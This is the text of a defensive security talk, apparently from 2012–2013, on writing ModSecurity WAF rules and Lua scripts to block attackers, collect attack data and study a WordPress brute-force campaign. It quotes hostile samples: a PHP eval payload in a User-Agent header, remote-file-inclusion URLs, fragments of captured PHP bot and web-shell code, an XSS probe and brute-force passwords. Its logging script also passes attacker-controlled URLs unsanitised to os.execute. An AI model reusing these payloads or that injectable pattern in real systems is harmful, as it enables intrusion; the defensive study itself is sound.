© 2012Presented by:Teaching your WAF new tricksRobert RowleySecurity Researcherrrowley@trustwave.com
© 2012Disclaimer: The scripts contained in theseslides are not recommended for you touse in production. If you get fired, ...
© 2012Agenda• Preamble– Writing a normal rule– Lua introduction– Scripting with: exec, @inspectFile, SecRuleScript• Counte...
© 2012Why me?
© 2012Mod sec introWrite a ruleBlock, Log, RepeatApacheIIS, Nginx (Beta)
© 2012mod_sec variablesREQUEST_BODYREQUEST_COOKIESREQUEST_FILENAMEREQUEST_HEADERSREQUEST_LINEREQUEST_METHODREQUEST_URIRESP...
© 2012Normal WAF ruleExample:Hash Collision DoS (CVE-2011-4885)http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=&EzEzEzE...
© 2012Normal WAF ruleExample:Hash Collision DoS (CVE-2011-4885)http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=&EzEzEzE...
© 2012Normal WAF ruleExample:Hash Collision DoS (CVE-2011-4885)http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=&EzEzEzE...
© 2012© 2012Adding Scripts!
© 2012Which one is not like the others?192.168.69.101 "GET /index.php?include=pages”HTTP/1.1" 200 "Mozilla/5.0 (Windows; U...
© 2012Which one is not like the others?192.168.69.101 "GET /index.php?include=pages”HTTP/1.1" 200 "Mozilla/5.0 (Windows; U...
© 2012Another Normal RuleExample:SecRule REQUEST_HEADER:User-Agent “<?php”denyBlocks:192.168.69.101 "GET /index.php?includ...
© 2012Another Normal RuleExample:SecRule REQUEST_HEADER:User-Agent “<?php”deny
© 2012Not So NormalExample:SecRule REQUEST_HEADER:User-Agent “<?php”deny,exec:dirty_firewaller.lua
© 2012A little lua introObject oriented (Everything is a table)Light and easyAvailable in other tools– Nmap– Wireshark–...
© 2012EXECExample:SecRule REQUEST_HEADERS:User-Agent “<?php”deny,exec:dirty_firewaller.lua--- dirty_firewaller.lua ---func...
© 2012EXECExample:SecRule REQUEST_HEADERS:User-Agent “<?php”deny,exec:dirty_firewaller.lua--- dirty_firewaller.lua ---func...
© 2012EXECExample:SecRule REQUEST_HEADERS:User-Agent “<?php”deny,exec:dirty_firewaller.lua--- dirty_firewaller.lua ---func...
© 2012EXECExample:SecRule REQUEST_HEADERS:User-Agent “<?php”deny,exec:htaccess_firewaller.lua--- htaccess_firewaller.lua -...
© 2012Using @inspectFileSecRule FILES_TMPNAMES“@inspectFile file_inspector.lua” deny
© 2012Example script (AV)SecRule FILES_TMPNAMES“@inspectFile file_inspector.lua” deny--- file_inspector.lua ---function ma...
© 2012Example script (AV)SecRule FILES_TMPNAMES“@inspectFile file_inspector.lua” deny--- file_inspector.lua ---function ma...
© 2012Example script (AV)SecRule FILES_TMPNAMES“@inspectFile file_inspector.lua” deny--- file_inspector.lua ---function ma...
© 2012Example script (AV)SecRule FILES_TMPNAMES“@inspectFile file_inspector.lua” deny--- file_inspector.lua ---function ma...
© 2012SpiderLabs making it awesome• Implemented their own AV detection usingClamAV• It’s in the spiderlabs github• https:/...
© 2012Matching With ScriptsSecRuleScript “check_blacklist.lua” deny
© 2012Matching With ScriptsSecRuleScript “check_blacklist.lua” deny--- check_blacklist.lua ---function main()local ip = m....
© 2012Matching With ScriptsSecRule REQUEST_URI “admin” deny,chainSecRuleScript “check_blacklist.lua”--- check_blacklist.lu...
© 2012SpiderLabs making it awesome #2“ipMatchFromFile” implemented in release 2.7SecRule REQUEST_URI “admin” deny,chainSec...
© 2012© 2012Counter Intelligence
© 2012RFI Hunting192.168.69.101 - - [08/Oct/2012:11:19:27 -0700]"GET /thumb.php?src=http://site.com/shell.txtHTTP/1.1" 200...
© 2012RFI Hunting192.168.69.101 - - [08/Oct/2012:11:12:43 -0700]"POST /thumb.php HTTP/1.1"200 "-" "Mozilla/4.0 (compatible...
© 2012rfi_logger.luaSecRule ARGS “^http://” allow,exec:rfi_logger.luafunction main()local ip = m.getvar("REMOTE_ADDR")loca...
© 2012<?php###[ SEMBON CrEw SPREAD for RFIBot (2.3) ]###error_reporting(0);##### CONFIG #####$mode = $_GET["mode"];$url = ...
© 2012<html><head><title>/// Response CMD ///</title></head><bodybgcolor=DC143C><H1>Changing this CMD will result in corru...
© 2012Better than a blacklist1) CaptureRequest2) Log IPMaliciousRequestWAF script
© 2012Better than a blacklistRequest WAF scriptUnobstructedResponse1) CaptureRequest2) Log AllDataMalicious HostUnknown Host
© 2012Put it togetherSecRule REQUEST_HEADERS:User-Agent “<?php”deny,status:200,exec:blacklist_ip.luaSecRule ‘@ipMatchFromF...
© 2012Put it togetherSecRule REQUEST_HEADERS:User-Agent “<?php” deny,status:200,exec:blacklist_ip.lua--- blacklist_ip.lua ...
© 2012Put it togetherSecRule ‘@ipMatchFromFile blacklist.txt’deny,status:200,exec:uber_logger.lua--- uber_logger.lua ---fu...
© 2012Put it togetherUberlog data69.110.217.76 /index.php?arg=<script>alert(1);</script>REQUEST_HEADERS:User-Agent=Mozilla...
© 2012Data MiningCapture only on malicious requestsLog far more data– REQUEST_HEADERS– POST variables– COOKIE data– FILES ...
© 2012Graphs!
© 2012Graphs!
© 2012Graphs!
© 2012The WordPress Incident(Monitoring Brute Force Attacks)“Massive” WordPress attack in early April 2013.Reported by sev...
© 2012The WordPress Incident(Why was I logging?)Someone* complained on twitter**Their logs looked like this:POST wp-login....
© 2012The WordPress Incident(Script I re-used)I decided to put the “ueberlogger.lua” script to work.SecRule REQUEST_URI wp...
© 2012The WordPress Incident(Script I re-used)I decided to put the “ueberlogger.lua” script to work.SecRule REQUEST_URI wp...
© 2012The WordPress Incident(Data I got)Password list of the brute forceFrequency of attacks against sites I controlledPas...
© 2012The WordPress Incident(My Perspective)● It was a brute force, but a lame one.● It got press because hosts were going...
© 2012The WordPress Incident(My Perspective)● It was a brute force, but a lame one.● It got press because hosts were going...
© 2012Bibliography/Questions?http://www.modsecurity.orghttp://www.lua.orghttp://blog.spiderlabs.comSpiderLabs githubht...
Upcoming SlideShare
Loading in...5
×

Teaching Your WAF New Tricks

3,845

Published on

This isn’t your uncle’s “what’s a WAF” talk, I’ll be covering as many cool tricks and advance topics related to deploying Web Application Firewalls. I will show you how to write custom scripts using lua and mod_security, and give first hand experiences of how I used scripting with a WAF to put the security team at my previous job ahead of the game when dealing with web app attacks. I will be including the source code for these example scripts which can be used to provide automatic incident response, counter-intelligence and more.

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
3,845
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
0
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Transcript of "Teaching Your WAF New Tricks"

  1. 1. © 2012Presented by:Teaching your WAF new tricksRobert RowleySecurity Researcherrrowley@trustwave.com
  2. 2. © 2012Disclaimer: The scripts contained in theseslides are not recommended for you touse in production. If you get fired, itsyour own fault.Harass me on twitter: @iamlei
  3. 3. © 2012Agenda• Preamble– Writing a normal rule– Lua introduction– Scripting with: exec, @inspectFile, SecRuleScript• Counter Intelligence– RFI hunting/gathering– Malicious request intelligence collection– That WordPress Incident
  4. 4. © 2012Why me?
  5. 5. © 2012Mod sec introWrite a ruleBlock, Log, RepeatApacheIIS, Nginx (Beta)
  6. 6. © 2012mod_sec variablesREQUEST_BODYREQUEST_COOKIESREQUEST_FILENAMEREQUEST_HEADERSREQUEST_LINEREQUEST_METHODREQUEST_URIRESPONSE_BODYRESPONSE_HEADERSSCRIPT_FILENAMESCRIPT_USERNAMETIMEARGSARGS_NAMESAUTH_TYPEENVFILESFILES_NAMESFILES_SIZESQUERY_STRINGREMOTE_ADDRREMOTE_HOSTREMOTE_PORTREMOTE_USER...AND BEYOND!
  7. 7. © 2012Normal WAF ruleExample:Hash Collision DoS (CVE-2011-4885)http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=&EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH%17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=&EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=&EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ...
  8. 8. © 2012Normal WAF ruleExample:Hash Collision DoS (CVE-2011-4885)http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=&EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH%17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=&EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=&EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ...SecRule &ARGS “@gt 100” deny
  9. 9. © 2012Normal WAF ruleExample:Hash Collision DoS (CVE-2011-4885)http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=&EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH%17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=&EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=&EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ...SecRule &ARGS “@gt 1000” deny
  10. 10. © 2012© 2012Adding Scripts!
  11. 11. © 2012Which one is not like the others?192.168.69.101 "GET /index.php?include=pages”HTTP/1.1" 200 "Mozilla/5.0 (Windows; U; Windows NT 5.1 ...”192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00”HTTP/1.1" 200 "<?php eval($_COOKIE[e]); ?>”192.168.69.101 "GET /”HTTP/1.1" 200 “Mozilla/5.0 (compatible; Baiduspider/2.0; ...”
  12. 12. © 2012Which one is not like the others?192.168.69.101 "GET /index.php?include=pages”HTTP/1.1" 200 "Mozilla/5.0 (Windows; U; Windows NT 5.1 ...”192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00”HTTP/1.1" 200 "<?php eval($_COOKIE[e]); ?>”192.168.69.101 "GET /”HTTP/1.1" 200 “Mozilla/5.0 (compatible; Baiduspider/2.0; ...”
  13. 13. © 2012Another Normal RuleExample:SecRule REQUEST_HEADER:User-Agent “<?php”denyBlocks:192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00HTTP/1.1" 200 "<?php eval($_COOKIE[e]); ?>”
  14. 14. © 2012Another Normal RuleExample:SecRule REQUEST_HEADER:User-Agent “<?php”deny
  15. 15. © 2012Not So NormalExample:SecRule REQUEST_HEADER:User-Agent “<?php”deny,exec:dirty_firewaller.lua
  16. 16. © 2012A little lua introObject oriented (Everything is a table)Light and easyAvailable in other tools– Nmap– Wireshark– WoW
  17. 17. © 2012EXECExample:SecRule REQUEST_HEADERS:User-Agent “<?php”deny,exec:dirty_firewaller.lua--- dirty_firewaller.lua ---function main()local bad_ip = m.getvar(REMOTE_ADDR)os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”)end
  18. 18. © 2012EXECExample:SecRule REQUEST_HEADERS:User-Agent “<?php”deny,exec:dirty_firewaller.lua--- dirty_firewaller.lua ---function main()local bad_ip = m.getvar(REMOTE_ADDR)os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”)end
  19. 19. © 2012EXECExample:SecRule REQUEST_HEADERS:User-Agent “<?php”deny,exec:dirty_firewaller.lua--- dirty_firewaller.lua ---function main()local bad_ip = m.getvar(REMOTE_ADDR)os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”)end
  20. 20. © 2012EXECExample:SecRule REQUEST_HEADERS:User-Agent “<?php”deny,exec:htaccess_firewaller.lua--- htaccess_firewaller.lua ---function main()local bad_ip = m.getvar(REMOTE_ADDR)local fh = io.open(“/path/to/.htaccess”, a+)fh:write(“deny from “..bad_ip)fh:close()end
  21. 21. © 2012Using @inspectFileSecRule FILES_TMPNAMES“@inspectFile file_inspector.lua” deny
  22. 22. © 2012Example script (AV)SecRule FILES_TMPNAMES“@inspectFile file_inspector.lua” deny--- file_inspector.lua ---function main(filename)local fh = io.open(filename, “r”)while(line = fh:read()) doif(string.match(line, MALICIOUS)) thenreturn 1endendend
  23. 23. © 2012Example script (AV)SecRule FILES_TMPNAMES“@inspectFile file_inspector.lua” deny--- file_inspector.lua ---function main(filename)local fh = io.open(filename, “r”)while(line = fh:read()) doif(string.match(line, MALICIOUS)) thenreturn 1endendend
  24. 24. © 2012Example script (AV)SecRule FILES_TMPNAMES“@inspectFile file_inspector.lua” deny--- file_inspector.lua ---function main(filename)local fh = io.open(filename, “r”)while(line = fh:read()) doif(string.match(line, MALICIOUS)) thenreturn 1endendend
  25. 25. © 2012Example script (AV)SecRule FILES_TMPNAMES“@inspectFile file_inspector.lua” deny--- file_inspector.lua ---function main(filename)local fh = io.open(filename, “r”)while(line = fh:read()) doif(string.match(line, MALICIOUS)) thenreturn 1endendend
  26. 26. © 2012SpiderLabs making it awesome• Implemented their own AV detection usingClamAV• It’s in the spiderlabs github• https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/master/util/runav.pl
  27. 27. © 2012Matching With ScriptsSecRuleScript “check_blacklist.lua” deny
  28. 28. © 2012Matching With ScriptsSecRuleScript “check_blacklist.lua” deny--- check_blacklist.lua ---function main()local ip = m.getvar(REMOTE_ADDR)for line in io.lines("blacklist.txt") doif string.match(ip, line) thenreturn 1endendend
  29. 29. © 2012Matching With ScriptsSecRule REQUEST_URI “admin” deny,chainSecRuleScript “check_blacklist.lua”--- check_blacklist.lua ---function main()local ip = m.getvar(REMOTE_ADDR)for line in io.lines("blacklist.txt") doif string.match(ip, line) thenreturn 1endendend
  30. 30. © 2012SpiderLabs making it awesome #2“ipMatchFromFile” implemented in release 2.7SecRule REQUEST_URI “admin” deny,chainSecRule ‘@ipMatchFromFile blacklist.txt’
  31. 31. © 2012© 2012Counter Intelligence
  32. 32. © 2012RFI Hunting192.168.69.101 - - [08/Oct/2012:11:19:27 -0700]"GET /thumb.php?src=http://site.com/shell.txtHTTP/1.1" 200 "-" "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)"Trivial to pull from logs
  33. 33. © 2012RFI Hunting192.168.69.101 - - [08/Oct/2012:11:12:43 -0700]"POST /thumb.php HTTP/1.1"200 "-" "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)"Problem …
  34. 34. © 2012rfi_logger.luaSecRule ARGS “^http://” allow,exec:rfi_logger.luafunction main()local ip = m.getvar("REMOTE_ADDR")local url = m.getvar("REQUEST_URI")local args = m.getvars("ARGS")for j = 1, #args doif(string.match(args[j].value, http)) thenfh = io.open("/tmp/backdoor", "a")fh:write("---"..ip.." "..url.." "..args[j].name.."="..args[j].value.."---n")fh:close()os.execute("wget –q –x -P /tmp/rfi_files/ "..args[j].value)endendend
  35. 35. © 2012<?php###[ SEMBON CrEw SPREAD for RFIBot (2.3) ]###error_reporting(0);##### CONFIG #####$mode = $_GET["mode"];$url = http://www.web-faq.jp/click_counter/data/.data/; //URL path$src = $url.cmd; //Source Shell$shell = 404.php; //Backdoor PHPShell name$bot = $url.bot; //Source PHPBot##### SPREAD #####...die(base64_decode(TWNOIFNoZWxsOiA=)..$exec. Failed!); //encodebiar lebih optimal!}...It works
  36. 36. © 2012<html><head><title>/// Response CMD ///</title></head><bodybgcolor=DC143C><H1>Changing this CMD will result in corrupt scanning !</H1></html></head></body><?php...function ex($cfe){$res = ;if (!empty($cfe)){if(function_exists(exec)){@exec($cfe,$res);$res = join("n",$res);}elseif(function_exists(shell_exec)){$res = @shell_exec($cfe);}...It works
  37. 37. © 2012Better than a blacklist1) CaptureRequest2) Log IPMaliciousRequestWAF script
  38. 38. © 2012Better than a blacklistRequest WAF scriptUnobstructedResponse1) CaptureRequest2) Log AllDataMalicious HostUnknown Host
  39. 39. © 2012Put it togetherSecRule REQUEST_HEADERS:User-Agent “<?php”deny,status:200,exec:blacklist_ip.luaSecRule ‘@ipMatchFromFile blacklist.txt’deny,status:200,exec:uber_logger.lua
  40. 40. © 2012Put it togetherSecRule REQUEST_HEADERS:User-Agent “<?php” deny,status:200,exec:blacklist_ip.lua--- blacklist_ip.lua ---function main()local ip = m.getvar("REMOTE_ADDR")fh = io.open("blacklist.txt", "a")fh:write(ip.."n")fh:close()end
  41. 41. © 2012Put it togetherSecRule ‘@ipMatchFromFile blacklist.txt’deny,status:200,exec:uber_logger.lua--- uber_logger.lua ---function main()local ip = m.getvar("REMOTE_ADDR")local url = m.getvar("REQUEST_URI")local args = m.getvars("ARGS")local headers = m.getvars("REQUEST_HEADERS")local logstring = " "for j = 1, #headers dologstring = logstring.." "..headers[j].name.."="..headers[j].valueendfor j = 1, #args dologstring = logstring.." "..args[j].name.."="..args[j].valueendfh = io.open("/tmp/uberlog", "a+")fh:write(ip.." "..url.." "..logstring.."n")fh:close()end
  42. 42. © 2012Put it togetherUberlog data69.110.217.76 /index.php?arg=<script>alert(1);</script>REQUEST_HEADERS:User-Agent=Mozilla/5.0 (compatible;Nmap Scripting Engine; http://nmap.org/book/nse.html)REQUEST_HEADERS:Connection=CloseREQUEST_HEADERS:Host=69.110.217.76:80ARGS:arg=<script>alert(1);</script>69.110.217.76 /index.php?-s REQUEST_HEADERS:User-Agent=Mozilla/5.0 (compatible; Nmap Scripting Engine;http://nmap.org/book/nse.html)REQUEST_HEADERS:Connection=CloseREQUEST_HEADERS:Host=69.110.217.76:80 ARGS:-s=
  43. 43. © 2012Data MiningCapture only on malicious requestsLog far more data– REQUEST_HEADERS– POST variables– COOKIE data– FILES uploaded in the request– GeoIP information– Live data on the attack– Make pretty* graphs* OK they are not that pretty
  44. 44. © 2012Graphs!
  45. 45. © 2012Graphs!
  46. 46. © 2012Graphs!
  47. 47. © 2012The WordPress Incident(Monitoring Brute Force Attacks)“Massive” WordPress attack in early April 2013.Reported by several Hosting providers as reason for outages.A Mr. Brian K. blogged that it was a botnet recruiting run.Coincidentally:I had been monitoring wp-login.php requests with full data for months.
  48. 48. © 2012The WordPress Incident(Why was I logging?)Someone* complained on twitter**Their logs looked like this:POST wp-login.phpPOST wp-login.phpPOST wp-login.phpPOST wp-login.phpPOST wp-login.phpThey wanted to know more.* it was @Viss** First time ever that complaining on twitter was beneficial, but not to the complainer.
  49. 49. © 2012The WordPress Incident(Script I re-used)I decided to put the “ueberlogger.lua” script to work.SecRule REQUEST_URI wp-login.php allow,exec:uberlogger.lua
  50. 50. © 2012The WordPress Incident(Script I re-used)I decided to put the “ueberlogger.lua” script to work.SecRule REQUEST_URI wp-login.php allow,exec:uberlogger.luax.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=1adminx.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=adminsx.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=webmasterx.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=passwordx.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=111111x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=naruto
  51. 51. © 2012The WordPress Incident(Data I got)Password list of the brute forceFrequency of attacks against sites I controlledPasswordsnarutopokemon123456adminSitename123etc...Correlated with the data from other researchers
  52. 52. © 2012The WordPress Incident(My Perspective)● It was a brute force, but a lame one.● It got press because hosts were going down.● Evidence that WP auth mechanisms can cause DoS.● WordPress is a buzzword for security press●Read my article all about WP auth on the blog.spiderlabs.com :).
  53. 53. © 2012The WordPress Incident(My Perspective)● It was a brute force, but a lame one.● It got press because hosts were going down.● Evidence that WP auth mechanisms can cause DoS.● WordPress is a buzzword for security press●Read my article all about WP auth on the blog.spiderlabs.com :).
  54. 54. © 2012Bibliography/Questions?http://www.modsecurity.orghttp://www.lua.orghttp://blog.spiderlabs.comSpiderLabs githubhttps://github.com/SpiderLabsYou seriously want my code?https://github.com/rawrly/ModSecScriptsTake your pitchfork to me on twitter: @iamlei

×